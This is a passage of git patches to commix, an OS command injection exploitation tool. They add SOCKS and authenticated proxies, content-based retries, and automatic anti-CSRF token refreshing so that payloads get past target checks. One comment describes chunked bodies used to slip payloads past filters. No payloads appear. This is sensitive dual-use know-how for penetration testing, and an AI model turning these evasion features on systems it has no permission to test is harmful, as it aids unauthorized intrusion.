settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Whether the proxy in use speaks SOCKS, which is carried at the socket rather than by a handler. +""" +def is_socks(): + return (settings.PROXY_SCHEME or "").lower() in settings.SOCKS_SCHEMES + +""" +The credentials of '--proxy-cred', as the pair they are made of. +""" +def credentials(): + if not menu.options.proxy_cred: + return None, None + match = re.search(r"\A(.*?):(.*?)\Z", menu.options.proxy_cred) + if not match: + err_msg = "The option '--proxy-cred' must be in format 'username:password'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + return match.group(1), match.group(2) + +""" +Put the proxy the options describe in place: SOCKS is spoken by the socket every request is made +on, while an HTTP proxy is named on the request itself. +""" +def configure(): + scheme = (settings.PROXY_SCHEME or "http").lower() + if scheme not in settings.PROXY_SCHEMES: + err_msg = "Proxy value must be in format '(" + "|".join(settings.PROXY_SCHEMES) + ")://address:port'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if scheme in settings.SOCKS_SCHEMES: + username, password = credentials() + address, _, port = menu.options.proxy.rpartition(":") + # SOCKS4 has each name resolved by this host rather than at the other end, so the target's name + # is asked for in plain sight - said once, rather than on every request it holds for. + if scheme == "socks4" and not settings.SOCKS4_DNS_WARNING: + settings.SOCKS4_DNS_WARNING = True + warn_msg = "SOCKS4 does not support resolving (DNS) names, which leaks them to the local resolver." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == "socks5" else socks.PROXY_TYPE_SOCKS4, address, int(port), username=username, password=password) + socks.wrapmodule(_http_client) + else: + try: + socks.unwrapmodule(_http_client) + except Exception: + pass + +""" +Name the proxy on one request, where it is an HTTP proxy - a SOCKS one is already carried beneath it. +""" +def apply_to_request(request): + if not menu.options.proxy or is_socks(): + return + request.set_proxy(menu.options.proxy, settings.SCHEME) + header = authorization_header() + if header: + request.add_unredirected_header("Proxy-Authorization", header) + +""" +The credentials a proxy asks for, as the header that carries them. +""" +def authorization_header(): + if not menu.options.proxy_cred: + return None + if ":" not in menu.options.proxy_cred: + err_msg = "The option '--proxy-cred' must be in format 'username:password'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + return "Basic " + b64encode(menu.options.proxy_cred.encode(settings.DEFAULT_CODEC)).decode().replace(settings.END_LINE.LF, "") """ Use the defined HTTP Proxy @@ -33,7 +158,7 @@ def use_proxy(request): opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) _urllib.request.install_opener(opener) else: - request.set_proxy(menu.options.proxy, settings.SCHEME) + apply_to_request(request) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: return requests.request_failed(err_msg) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 43ea850277..c832acee0f 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -13,6 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ +import io import re import time import threading @@ -548,16 +549,73 @@ def request_failed(err_msg): """ Get the response of the request """ +class ReReadableResponse(object): + """ + A response whose body has already been read, handed on as though it had not been. + + Everything else about it is the response itself: the status, the headers and the URL are asked + of the original, and only the reading is answered from what was kept. + """ + def __init__(self, response, body): + self._response = response + self._body = io.BytesIO(body) + + def read(self, *args, **kwargs): + return self._body.read(*args, **kwargs) + + def readlines(self, *args, **kwargs): + return self._body.readlines(*args, **kwargs) + + def close(self): + try: + self._response.close() + except Exception: + pass + + def __getattr__(self, name): + return getattr(self._response, name) + +""" +Send the request again while its answer is a page the run was told to retry on. + +What it is for is a target that answers something other than what it was asked - a rate limit, a +'try again later', an interstitial - where the response is a valid one and only its content says +that nothing was tested. +""" +def retry_on_undesired_content(request, response): + attempts = 0 + while True: + try: + body = response.read() + except Exception: + return response + content = body.decode(settings.DEFAULT_CODEC, errors="replace") + if not re.search(menu.options.retry_on, content, re.I) or attempts >= settings.MAX_RETRIES: + return ReReadableResponse(response, body) + attempts += 1 + warn_msg = "Forced retry of the request, because of undesired page content." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + retried = headers.check_http_traffic(request) + if retried is None: + try: + retried = headers.resend(request) + except Exception as err_msg: + return ReReadableResponse(response, body) + if retried is None or isinstance(retried, bool): + return ReReadableResponse(response, body) + response = retried + def get_request_response(request): response = headers.check_http_traffic(request) - if response is not None: - return response + if response is None: + try: + response = headers.resend(request) + except Exception as err_msg: + response = request_failed(err_msg) - try: - response = headers.resend(request) - except Exception as err_msg: - response = request_failed(err_msg) + if menu.options.retry_on and response is not None and not isinstance(response, bool): + response = retry_on_undesired_content(request, response) return response diff --git a/src/utils/settings.py b/src/utils/settings.py index 6b553cc515..54eb3059c7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "147" +REVISION = "148" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -430,7 +430,13 @@ def sys_argv_errors(): RANDOM_TAG = RANDOM_STRING_GENERATOR # Proxy -PROXY_REGEX = r"((http[^:]*)://)?([\w\-.]+):(\d+)" +# A proxy as it may be written: an optional scheme, optional credentials of its own, an address +# and a port - so that a SOCKS proxy is not read as an HTTP one, and a password is not dropped. +PROXY_REGEX = r"(?i)\A((http[s]?|socks[45])://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)\Z" +# The scheme the proxy itself speaks, which is not the scheme of the target - SCHEME is that one. +PROXY_SCHEME = "" +PROXY_SCHEMES = ("http", "https", "socks4", "socks5") +SOCKS_SCHEMES = ("socks4", "socks5") # Auth Credentials format AUTH_CRED_REGEX = r"^(.*?):(.*?)$" @@ -797,6 +803,7 @@ class OS(object): INJECTION_LEVEL = 0 USER_APPLIED_LEVEL = False USER_APPLIED_RETRIES = False +USER_APPLIED_TIMEOUT = False PERFORM_BASIC_SCANS = True # Default Temp Directory @@ -1878,6 +1885,22 @@ class END_LINE: # The places '--param-filter' was given, in upper case - a parameter elsewhere is not tested. PARAM_FILTER_PLACES = [] +# Said once, however many requests a SOCKS4 proxy carries. +SOCKS4_DNS_WARNING = False + +# The proxies read from '--proxy-file', and which of them is in use. +PROXY_LIST = [] +PROXY_LIST_INDEX = 0 + +# The request '--safe-req' was given, parsed once and replayed as it was written. +SAFE_REQUEST = None + +# Every request this run has sent, counted for the options that act every so many of them. +REQUEST_COUNTER = 0 + +# True while the safe request is on its way, so that it does not count itself. +SENDING_SAFE_REQUEST = False + # Init Test INIT_TEST = "" From 438dbb39df1d5c03922dd4d694db72806d84266d Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 19 Sep 2026 10:40:46 +0300 Subject: [PATCH 0810/1023] Added new options `--csrf-token`, `--csrf-url`, `--csrf-method`, `--csrf-data` and `--csrf-retries` for testing targets that check an anti-CSRF token --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 36 +++++++ src/core/options.py | 15 +++ src/core/parse/cmdline.py | 31 ++++++ src/core/requests/anticsrf.py | 175 ++++++++++++++++++++++++++++++++++ src/core/requests/headers.py | 2 + src/utils/settings.py | 11 ++- 7 files changed, 270 insertions(+), 1 deletion(-) create mode 100644 src/core/requests/anticsrf.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2f78dee4d7..5992f672a6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New options `--csrf-token`, `--csrf-url`, `--csrf-method`, `--csrf-data` and `--csrf-retries` for testing targets that check an anti-CSRF token. * Added: New options `--proxy-file`, `--proxy-freq` and `--proxy-cred` for using a list of proxies and the credentials they ask for. * Added: Support for SOCKS4/5 proxies given with the `--proxy` option. * Added: New option `--retry-on` for repeating a request whose response content matches a given regexp. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 0d37f73873..c86ba31ccd 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -813,10 +813,46 @@ def explicitly_testable(parameter): name = parameter.split("=")[0].strip().lower() return any(name == _.split("=")[0].strip().lower() for _ in settings.TESTABLE_PARAMETERS_LIST) +""" +Settle what names the anti-CSRF token, from what the user wrote. + +A name is taken as a name: where it would also read as an expression, the user is asked which was +meant, because the difference decides what the token is looked up by on every request from here on. +""" +def set_anticsrf_token(value): + settings.CSRF_TOKEN_ORIGINAL = value + try: + re.compile(value) + if re.escape(value) != value: + message = "The provided value for the option '--csrf-token' ('" + value + "') is a regular expression? [y/N] " + if common.read_input(message, default="N", check_batch=True) not in settings.CHOICE_YES: + value = re.escape(value) + except re.error: + value = re.escape(value) + settings.CSRF_TOKEN = value + +""" +Offer to keep a parameter that looks like an anti-CSRF token up to date, where none was named. + +The parameter is skipped for testing either way - what is asked here is whether its value should be +fetched again before every request, which is what a target that checks it requires. +""" +def offer_anticsrf_token(parameter): + if settings.CSRF_TOKEN or menu.options.batch or settings.LOAD_SESSION: + return + name = parameter.split("=")[0].strip() + if not name or not any(name.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): + return + message = "The parameter '" + name + "' appears to hold an anti-CSRF token. " + message += "Do you want commix to automatically update it in further requests? [y/N] " + if common.read_input(message, default="N", check_batch=True) in settings.CHOICE_YES: + set_anticsrf_token(name) + # Whether a parameter looks like an anti-CSRF token, which testing would only invalidate. def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): if not explicitly_testable(parameter): + offer_anticsrf_token(parameter) if (len(parameter.split("="))) == 2: info_msg = "Ignoring the parameter '" + parameter.split("=")[0] info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." diff --git a/src/core/options.py b/src/core/options.py index 78bb3e35cc..a2ba8d3c58 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -135,6 +135,21 @@ def validate(): if menu.options.safe_req: settings.SAFE_REQUEST = request.parse_safe_request(menu.options.safe_req) + for option_name, option_value in (("--csrf-url", menu.options.csrf_url), ("--csrf-method", menu.options.csrf_method), ("--csrf-data", menu.options.csrf_data)): + if option_value and not menu.options.csrf_token: + err_msg = "The option '" + option_name + "' requires the option '--csrf-token'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.csrf_token: + # A token is one value at a time: a second worker spends the one the first was given, and both + # requests are then answered as though neither had a token at all. + if menu.options.threads > 1: + err_msg = "The option '--csrf-token' is incompatible with the option '--threads'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + checks.set_anticsrf_token(menu.options.csrf_token) + if menu.options.retry_on: try: re.compile(menu.options.retry_on) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 29981affda..4da60f9484 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -440,6 +440,37 @@ def banner(): type="int", help="Regular requests between visits to a safe URL.") +request.add_option("--csrf-token", + action="store", + dest="csrf_token", + default=None, + help="Parameter used to hold anti-CSRF token.") + +request.add_option("--csrf-url", + action="store", + dest="csrf_url", + default=None, + help="URL address to visit for extraction of anti-CSRF token.") + +request.add_option("--csrf-method", + action="store", + dest="csrf_method", + default=None, + help="HTTP method to use during anti-CSRF token page visit.") + +request.add_option("--csrf-data", + action="store", + dest="csrf_data", + default=None, + help="POST data to send during anti-CSRF token page visit.") + +request.add_option("--csrf-retries", + action="store", + dest="csrf_retries", + default=0, + type="int", + help="Retries for anti-CSRF token retrieval (default 0).") + request.add_option("--skip-urlencode", action="store_true", dest="skip_urlencode", diff --git a/src/core/requests/anticsrf.py b/src/core/requests/anticsrf.py new file mode 100644 index 0000000000..4515af9e95 --- /dev/null +++ b/src/core/requests/anticsrf.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.thirdparty.six.moves import urllib as _urllib +from src.core.parse import cmdline as menu +from src.utils import settings + +""" +Anti-CSRF token handling. + +A target that checks a token rejects every payload before it reaches a shell, and the rejection +looks exactly like a parameter that is not injectable. So the token is fetched again before each +request and written into the one that is about to be sent. +""" + +""" +Where the token may be written, in the order it is looked for - the first shape that answers wins. +""" +def _token_patterns(name): + return ( + r"(?i)<input[^>]+\bname=[\"']?(?P<name>" + name + r")\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)", + r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>" + name + r")\b", + r"(?P<name>" + name + r")[\"']:[\"'](?P<value>[^\"']+)", + r"\b(?P<name>" + name + r")\s*=\s*['\"]?(?P<value>[^;'\"]+)", + r"<meta\s+name=[\"']?(?P<name>" + name + r")[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" + ) + +""" +Read the token out of a page, or out of the headers that came with it. +""" +def _find_token(page, response_headers): + name = settings.CSRF_TOKEN + page = _urllib.parse.unquote(page or "") + for pattern in _token_patterns(name): + match = re.search(pattern, page, re.I) + if match: + break + else: + # A token handed back in a header of its own, rather than written into the page. + match = re.search(r"\b(?P<name>" + name + r")\s*[:=]\s*(?P<value>\w+)", str(response_headers or ""), re.I) + if not match: + return None, None + token_name, token_value = match.group("name"), match.group("value") + # A value the page assembles character by character, rather than writing out. + assembled = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token_value) + if assembled: + token_value = "".join(chr(int(_)) for _ in assembled.group(1).replace(" ", "").split(",")) + return token_name, token_value.strip("'\"") + +""" +Fetch the page the token is written on, as the options describe it. +""" +def _fetch_token_page(url, http_request_method): + from src.core.requests import headers + token_url = menu.options.csrf_url or url + data = menu.options.csrf_data + if not data and menu.options.csrf_url == url and (menu.options.csrf_method or "").upper() == settings.HTTPMETHOD.POST: + data = menu.options.data + method = menu.options.csrf_method or (http_request_method if menu.options.csrf_url == url else None) + if not method: + method = settings.HTTPMETHOD.POST if data else settings.HTTPMETHOD.GET + request = _urllib.request.Request(token_url, data.encode(settings.DEFAULT_CODEC) if data else None, method=method.upper()) + headers.do_check(request) + response = headers.check_http_traffic(request) + if response is None: + response = headers.resend(request) + if response is None or isinstance(response, bool): + return "", None, None + try: + page = response.read().decode(settings.DEFAULT_CODEC, errors="replace") + except Exception: + page = "" + code = getattr(response, "code", None) or getattr(response, "status", None) + return page, getattr(response, "headers", None), code + +""" +Write the token into a string of parameters, whether they are written as pairs or as JSON. + +Anchored at a parameter boundary, so that a token named 'token' does not rewrite the value of +'user_token' instead. +""" +def adjust_parameter(param_string, name, value): + if not param_string: + return param_string + quoted = _urllib.parse.quote(name) + if quoted in param_string: + name = quoted + match = re.search(r"(?i)(?:\A|(?<=&))" + re.escape(name) + r"=[^&]*", param_string) + if match: + return param_string[:match.start()] + name + "=" + value + param_string[match.end():] + match = re.search(r"(?i)[\"']" + re.escape(name) + r"[\"']\s*:\s*[\"'](?P<value>[^\"']*)", param_string) + if match: + return param_string[:match.start("value")] + value + param_string[match.end("value"):] + return param_string + +""" +Put a freshly fetched token into the request that is about to be sent. + +The value travels wherever the parameter does: the query string, the body, a header of its own, or +the cookie - which is also where it is read from, for a target that hands it back that way. +""" +def apply_token(request): + if not settings.CSRF_TOKEN or settings.FETCHING_CSRF_TOKEN: + return + settings.FETCHING_CSRF_TOKEN = True + try: + url = request.get_full_url() + method = request.get_method() + token_name = token_value = None + for attempt in range(menu.options.csrf_retries + 1): + page, response_headers, code = _fetch_token_page(url, method) + token_name, token_value = _find_token(page, response_headers) + if token_name: + break + # A page of its own, answering with the token and nothing else. + if menu.options.csrf_url and menu.options.csrf_url != url and code == settings.OK_RESPONSE_CODE: + content_type = "" + if response_headers is not None: + content_type = response_headers.get(settings.CONTENT_TYPE, "") or "" + if settings.PLAIN_TEXT_CONTENT_TYPE in content_type.lower(): + token_name, token_value = settings.CSRF_TOKEN_ORIGINAL, page.strip() + break + if attempt < menu.options.csrf_retries: + warn_msg = "Unable to find the anti-CSRF token '" + str(settings.CSRF_TOKEN_ORIGINAL) + "' at '" + warn_msg += str(menu.options.csrf_url or url) + "'. Retrying the request." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if not token_name: + # Carried in the cookie instead, which is a token the target keeps rather than one it prints. + if menu.options.cookie: + match = re.search(r"(?i)(?:\A|;\s*)(?P<name>[^=;\s]*" + settings.CSRF_TOKEN + r"[^=;\s]*)=(?P<value>[^;]*)", menu.options.cookie) + if match: + token_name, token_value = match.group("name"), match.group("value") + + if not token_name: + err_msg = "The anti-CSRF token '" + str(settings.CSRF_TOKEN_ORIGINAL) + "' cannot be found at '" + err_msg += str(menu.options.csrf_url or url) + "'." + if not menu.options.csrf_url: + err_msg += " You can try to re-run by providing a valid value for the option '--csrf-url'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Using '" + token_value + "' as the value of the anti-CSRF token '" + token_name + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + parts = request.full_url.split("?", 1) + if len(parts) == 2 and parts[1]: + request.full_url = parts[0] + "?" + adjust_parameter(parts[1], token_name, token_value) + if request.data: + body = request.data.decode(settings.DEFAULT_CODEC, errors="replace") + request.data = adjust_parameter(body, token_name, token_value).encode(settings.DEFAULT_CODEC) + if menu.options.cookie: + menu.options.cookie = adjust_parameter(menu.options.cookie, token_name, token_value) + # A token the target expects back as a header, under the name it was given. + for header_name in list(request.headers) + list(request.unredirected_hdrs): + if header_name.lower() == token_name.lower(): + request.add_unredirected_header(header_name, token_value) + finally: + settings.FETCHING_CSRF_TOKEN = False + +# eof diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f95adf9e68..216e16055a 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -30,6 +30,7 @@ from src.core.requests import proxy from src.core.requests import cookies from src.core.requests import chunked +from src.core.requests import anticsrf from src.core.requests import redirection from src.core.requests import keepalive from src.core.requests import stability @@ -568,6 +569,7 @@ def do_check(request): request = encode_non_ascii_url(request) randomize_parameters(request) + anticsrf.apply_token(request) # Frame the body as chunks, so a filter inspecting it never sees the payload in one piece. if menu.options.chunked and request.data and not request.has_header(settings.TRANSFER_ENCODING): diff --git a/src/utils/settings.py b/src/utils/settings.py index 54eb3059c7..c34800730a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "148" +REVISION = "149" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1901,6 +1901,12 @@ class END_LINE: # True while the safe request is on its way, so that it does not count itself. SENDING_SAFE_REQUEST = False +# The anti-CSRF token: what names it (an expression), what the user wrote, and True while the page +# holding it is being fetched - a fetch that must not go looking for a token of its own. +CSRF_TOKEN = None +CSRF_TOKEN_ORIGINAL = None +FETCHING_CSRF_TOKEN = False + # Init Test INIT_TEST = "" @@ -2020,6 +2026,9 @@ class END_LINE: IF_MODIFIED_SINCE = "If-Modified-Since" IF_NONE_MATCH = "If-None-Match" CONTENT_TYPE = "Content-Type" +# A page that answers with the token itself, rather than with a page holding it. +PLAIN_TEXT_CONTENT_TYPE = "text/plain" +OK_RESPONSE_CODE = 200 SERVER = "Server" SET_COOKIE = "Set-Cookie" X_POWERED_BY = "X-Powered-By" From b7abf95c5e88e25c90e669eb1edc8786f47d9c03 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 20 Sep 2026 08:51:24 +0300 Subject: [PATCH 0811/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 80 +++++++++++------------ src/core/controller/controller.py | 12 ++-- src/core/controller/handler.py | 2 +- src/core/controller/injector.py | 4 +- src/core/main.py | 44 ++++++------- src/core/modules/modules_handler.py | 4 +- src/core/modules/shellshock/shellshock.py | 2 +- src/core/options.py | 66 +++++++++---------- src/core/parse/request.py | 18 ++--- src/core/requests/anticsrf.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/cookies.py | 6 +- src/core/requests/headers.py | 48 ++++++++++---- src/core/requests/parameters.py | 6 +- src/core/requests/proxy.py | 10 +-- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 21 +++--- src/core/requests/tor.py | 12 ++-- src/core/startup.py | 4 +- src/utils/common.py | 42 ++++++------ src/utils/install.py | 12 ++-- src/utils/logs.py | 6 +- src/utils/settings.py | 18 +++-- src/utils/update.py | 6 +- 24 files changed, 233 insertions(+), 196 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index c86ba31ccd..fc82146369 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -63,12 +63,12 @@ settings.READLINE_ERROR = True """ -Exiting +Exiting, with the code the run ended on - which is how a caller tells an error from a finished run. """ -def exit(): +def exit(code=0): if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.execution("Ending")) - os._exit(0) + os._exit(code if isinstance(code, int) else 0) """ Persist a new WAF/IPS finding when possible; defer the import to avoid a circular dependency. @@ -977,7 +977,7 @@ def process_page_content(response, action): err_msg += "out" err_msg += " option '--codec'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Ignore verbatim payload reflections so they cannot trigger a false positive. @@ -1501,7 +1501,7 @@ def check_url(url): err_msg += "Please ensure there are no leftover characters (e.g. '[' or ']') " err_msg += "in the hostname part." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Verify whether the URL scheme is HTTP or HTTPS. @@ -1537,7 +1537,7 @@ def check_http_s(url): else: err_msg = "Invalid target URL provided. " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if _urllib.parse.urlparse(url).scheme != settings.SCHEME: if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: @@ -1563,13 +1563,13 @@ def check_connection(url): err_msg = "Host '" + hostname + "' does not exist." if not settings.MULTI_TARGETS: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) except (socket.error, UnicodeError): err_msg = "Problem occurred while " err_msg += "resolving the hostname '" + hostname + "'" if not settings.MULTI_TARGETS: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Force the user-defined operating system. @@ -1587,7 +1587,7 @@ def user_defined_os(): err_msg = "You defined an invalid value '" + menu.options.os + "' " err_msg += "for the operating system. The value must be 'Windows' or 'Unix-like'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Define the target operating system. @@ -1808,12 +1808,12 @@ def validate_tamper_scripts(): err_msg = "The '" + script + "' tamper script does not exist. " err_msg += "Use the '--list-tampers' switch for listing available tamper scripts." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) for first, second in settings.INCOMPATIBLE_TAMPER_SCRIPTS: if first in provided_scripts and second in provided_scripts: err_msg = "Tamper script '" + first + "' is unlikely to work in combination with the tamper script '" + second + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) return provided_scripts """ @@ -1831,7 +1831,7 @@ def apply_injection_type(): err_msg += "--skip-technique" if menu.options.skip_tech else "--technique" err_msg += "' cannot be used simultaneously." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # A string of letters, the way '--technique' is given - a separator between them is allowed too. ignored = settings.PARAMETER_SPLITTING_REGEX + settings.SINGLE_WHITESPACE letters = "" @@ -1844,7 +1844,7 @@ def apply_injection_type(): err_msg += ", ".join(settings.AVAILABLE_TYPES).upper() err_msg += ". Refer to the official wiki for details." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) letters += settings.AVAILABLE_TYPES[given] menu.options.tech = "".join(sorted(set(letters), key=settings.AVAILABLE_TECHNIQUES.index)) settings.USER_APPLIED_TECHNIQUE = True @@ -1869,7 +1869,7 @@ def validate_techniques(): err_msg += ", ".join(settings.AVAILABLE_TECHNIQUES).upper() err_msg += ". Refer to the official wiki for details." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ The remaining options whose value can be judged on its own, on the same ground as the two above. @@ -1883,7 +1883,7 @@ def validate_options(): if level not in (settings.DEFAULT_INJECTION_LEVEL, settings.COOKIE_INJECTION_LEVEL, settings.HTTP_HEADER_INJECTION_LEVEL): err_msg = "The value for option '--level' must be an integer value from range [1, 3]." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.eval_sink: # 'py' and 'python' name the same language, here as for '--interpreter'. @@ -1891,17 +1891,17 @@ def validate_options(): err_msg = "You defined an invalid language '" + menu.options.eval_sink + "' for '--eval'. " err_msg += "Supported languages are: " + ", ".join(settings.SUPPORTED_EVAL_LANGUAGES) + "." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.file_write is not None and not menu.options.file_dest: err_msg = "You must specify the host's absolute filepath to write (i.e. '--file-dest')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.file_dest and menu.options.file_write is None: err_msg = "You must enter the '--file-write' parameter." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) # The remote destination must be an absolute filepath (Unix-style, Windows drive-letter, or UNC). if menu.options.file_dest and not (menu.options.file_dest.startswith(("/", "\\")) or \ @@ -1909,12 +1909,12 @@ def validate_options(): err_msg = "The value for option '--file-dest' must be an absolute filepath " err_msg += "(e.g. '/tmp/file' or 'C:\\Windows\\Temp\\file')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.file_write is not None and not os.path.exists(menu.options.file_write): err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Checking for all required third-party library dependencies. @@ -1930,7 +1930,7 @@ def third_party_dependencies(): err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "to store previous injection points and commands. " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) try: import readline @@ -1960,7 +1960,7 @@ def http_auth_err_msg(): err_msg += "or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized) " err_msg += "and continue tests without providing valid credentials." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Error while accessing session file @@ -1970,7 +1970,7 @@ def error_loading_session_file(): err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' switch." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ EOFError @@ -2281,7 +2281,7 @@ def parse_parameter_list(raw): except Exception as err: err_msg = "Invalid regular expression '" + menu.options.param_exclude + "' (" + str(err) + ")." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) if menu.options.param_filter: settings.PARAM_FILTER_PLACES = [_.strip() for _ in menu.options.param_filter.upper().split(settings.PARAMETER_SPLITTING_REGEX) if _.strip()] @@ -2295,7 +2295,7 @@ def parse_parameter_list(raw): err_msg = "The option '--randomize' is incompatible with the option '-p', for the parameter" err_msg += "s"[len(clash) == 1:] + " '" + ", ".join(clash) + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ @@ -2637,7 +2637,7 @@ def tamper_check_space2plus_conflict(tamper_name): if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + tamper_name + "' is unlikely to work when combined with the tamper script 'space2plus'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit(settings.EXIT_FAILURE) """ Whether to answer the detected WAF/IPS with evasion, asked once and kept for the rest of the run. @@ -2736,7 +2736,7 @@ def tamper_scripts(stored_tamper_scripts): err_msg = "Missing variable '__tamper__' " err_msg += "in tamper script '" + script + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise 